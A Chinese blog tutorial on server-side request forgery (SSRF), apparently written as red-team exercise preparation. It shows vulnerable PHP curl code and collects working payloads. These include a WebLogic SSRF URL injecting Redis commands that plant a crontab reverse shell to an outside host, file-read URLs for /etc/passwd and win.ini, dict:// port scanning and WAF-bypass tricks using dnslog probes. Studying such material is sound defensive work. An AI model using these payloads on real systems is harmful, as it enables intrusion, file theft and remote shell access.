首页 > 其他分享 >2024-HW --->SSRF

2024-HW --->SSRF

时间:2024-04-04 13:30:07浏览次数:21  
标签:--- dnslog http SSRF 端口 HW 2024 20 0D%

这不是马上准备就要护网了嘛,如火如荼的报名ing!!!那么小编就来查缺补漏一下以前的web漏洞,也顺便去收录一波poc!!!!

今天讲的主人公呢就是SSRF,以前学的时候,感觉有点没有学懂,趁现在二刷一遍

1.SSRF的原理

SSRF (Server-Side Request Forgery) 服务器端请求伪造,一种由攻击者构造请求,由服务端发起请求的安全漏洞!!
能产生SSRF,主要还得是归功于这三个函数,而且还不对URL进行过滤
  1. curl_exec()    执行curl会话
  2. fsockopen()        打开一个网络连接或者一个Unix的套接字
  3. file_get_contents()   将文件读入一个字符串

说起来可能会有一点干,没事,我们上一段代码来演示一下

<?php
function curl($url){  
    $ch = curl_init();
    // 设置URL和相应的选项
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0); // 启用时会将头文件的信息作为数据流输出  
    // 抓取URL并把它传递给浏览器  
    curl_exec($ch);
    //关闭cURL资源,并且释放系统资源  
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);  
?>
我们部署一下这个网页,然后演示一下 然后我们在URL的后面加上参数,模拟一下正常的网页跳转 正常是这样,肯定没有问题,但是黑客它能正常嘛???
http://127.0.0.1/ssrf.php?url=file:///C:/Windows/win.ini
这样,就读取到了本地服务器的win.ini文件 对于SSRF,其常用的协议 其中file,和dict用的最多,一个用于读取文件,一个用于探测端口存活

2.SSRF的危害

ssrf吧,也算是个中危,有的时候,它还可以直接getshell!!!!!

对于最后一个,Redis还没学,不过也是老出名了!!

3.SSRF常见的出现场景

  1. 分享网页的功能
  2. 转码服务
  3. 网站翻译
  4. 图片远程加载

4.SSRF常见的利用以及poc

1.Weblogic反弹shell

这里,我就直接用的Vulhub上面的weblogic的SSRF来演示了(搭环境我就不说了,参考我以前的文章)

直接访问这个路径

http://你的ip:7001/uddiexplorer/SearchPublicRegistries.jsp

然后就能看见这样的一个页面

先公布它漏洞的poc

http://192.168.42.145:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

抓个包,可以看见,问题就出现在它的operator这里,直接应用外部的URL

所以就导致了SSRF

可以看见不同的端口返回的值是不一样的

POC如下

http://192.168.246.170:7001//uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.25.0.2:6379/test%0D%0A%0D%0Aset%201%20%22\n\n\n\n*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.246.1%2F9191%200%3E%261\n\n\n\n%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aqwezxc

因为我没开redis的原因,但是你只要敲上这个代码,它就是能反弹shell的!!! 

除此之外,ssrf还是可以getshell的!!!

2.探测端口存活

比如说我们发现一个ssrf的站点,我们就可以通过它去探测端口存活

url=dict://127.0.0.1:§80§   /后面的端口就直接在BP选范围为 1-65535就好

不过吐槽一下啊 ,这个确实有点慢,还不如直接上nmap。。。。。

但是,这个玩意不止能探测本地的端口,还可以远程探测

3.读取本机的敏感资产或者文件

poc

file:etc/passwd
file:///C:/Windows/win.ini

5.SSRF绕过WAF

以下直接分享一些绕WAF的POC,有的时候可以用dnslog来作探针

1.利用@的符号

http://[email protected]  //这里面是你的dnslog探针
dict://127.0.0.1:[email protected].

2. 将 . 换成 。以及相应的符号

dict://127。0。0 。1:80
http://127。0。0 。1:80

3.一些协议的绕过

sftp://0c63a4a6.dnslog.biz
tftp://0c63a4a6.dnslog.biz
ldap://0c63a4a6.dnslog.biz     //自行对相应的dnslog探针进行替换

4.还有就是一些工具了

grayddq/SSRF_payload: 本脚本旨在生成各类畸形URL链接,进行探测使用的payload,尝试绕过服务端ssrf限制。 (github.com)icon-default.png?t=N7T8https://github.com/grayddq/SSRF_payload

标签:---,dnslog,http,SSRF,端口,HW,2024,20,0D%
From: https://blog.csdn.net/huohaowen/article/details/137369275

相关文章

  • 力扣每日一题:LCR112--矩阵中的最长递增路径
    题目给定一个 mxn 整数矩阵 matrix ,找出其中 最长递增路径 的长度。对于每个单元格,你可以往上,下,左,右四个方向移动。 不能 在 对角线 方向上移动或移动到 边界外(即不允许环绕)。示例1:输入:matrix=[[9,9,4],[6,6,8],[2,1,1]]输出:4解释:最长递增路径为 [1......
  • sql注入之--堆叠注入
    sql注入之--堆叠注入转自:https://blog.csdn.net/Jayjay___/article/details/132081414什么是堆叠注入?用简单通俗的话来解释就是多条命令一起执行,比如在MySQL中我们知道在输入一个命令之后要用;表示一个指令的输入完成,那么我们就想是否可以在一句指令之后再加上一句指令,就比如 ......
  • ctfshow--web10
    dirsearch没有扫到文件查看源代码发现有个style.css文件点击查看查看index.phps代码又是代码审计点击查看代码<?php $flag="";functionreplaceSpecialChar($strParam){$regex="/(select|from|where|join|sleep|and|\s|union|,)/i";......
  • 2024.4 第一周做题记录
    \(2024.4.2\)CF1336DYuiandMahjongSet题意:初始有一个值域在\([1,n]\)的多重整数集\(S\),且每个元素重复次数最多为\(n\),定义\(\operatorname{triple}(S)\)表示\(S\)中相同无序三元组数量,\(\operatorname{straight}(S)\)表示\(S\)中连续整数的无序三元组数量,告诉......
  • 第五篇:3.4 用户归因和受众(User attribution and audience) - IAB/MRC及《增强现实广告
    翻译计划第一篇概述—IAB与MRC及《增强现实广告效果测量指南》之目录、适用范围及术语第二篇广告效果测量定义和其他矩阵之-3.1广告印象(ADImpression)第三篇广告效果测量定义和其他矩阵之-3.2可见性(Viewability)第四篇广告效果测量定义和其他矩阵之-3.3无效流量(Invali......
  • 哈佛大学商业评论 -- 第一篇:为什么每个企业都需要制定一个增强现实战略?
    --《经理们的增强现实手册》(共5篇)(WhyEveryOrganizationNeedsanAugmentedRealityStrategy)AR将全面融入公司发展战略!AR将成为人类和机器之间的新接口!AR将成为人类的关键技术之一!请将此文转发给您的老板!--- 本文作者:MichaelE.Porter和JamesE.Heppelmann虽然物......
  • 挑战程序设计竞赛 2.6章习题 UVA - 10006 Carmichael Numbers
    https://vjudge.csgrandeur.cn/problem/UVA-10006当今计算机科学的一个重要的领域就是密码学。有些人甚至认为密码学是计算机科学中唯一重要的领域,没有密码学生命都没有意义。阿尔瓦罗就是这样的一个人,它正在设计一个为西班牙杂烩菜饭加密的步骤。他在加密算法中应用了一......
  • 2024福建三支一扶报名流程,超全超详细!
    2024年福建三支一扶报名已经开始,请注意时间!⚠2024年福建省省级“三支一扶”计划招募岗位1070个报名时间:4月1日8:00至4月17日17:00审查考核:4月18日至5月10日确定派遣人员:5月11日至5月31日报名入口:福建省公告就业服务网报名材料‼️上传PDF格式材料每项不超过10M,其他文件......
  • 2024合肥教师招聘保姆级教程,流程超详细
    2024年合肥教师招聘报名即将开始,请做好准备1、报名时间:4月2日8:00-4月8日16:002、资格初审:4月2日8:00-4月9日11:003、缴费时间:4月24日8:00-4月9日16:004、打印准考证:4月24日8:00-4月27日18:005、笔试时间:2024年4月27日9:00-11:30《学科专业知识》14:00-16:00《教育综......
  • Epusdt收款插件-宝塔面板安装配置USDT支付图文教程
    Epusdt(全称:EasyPaymentUsdt)是一个由Go语言编写的私有化部署 Usdt支付中间件(Trc20网络),Epusdt可实现USDT的在线支付和消息回调,代币直接进入你自己的钱包,鉴于官方文档比较简单同时部分图片已失效,对新手操作稍有难度,这里对其重新整理发布。官方GitHub文档:https://github.......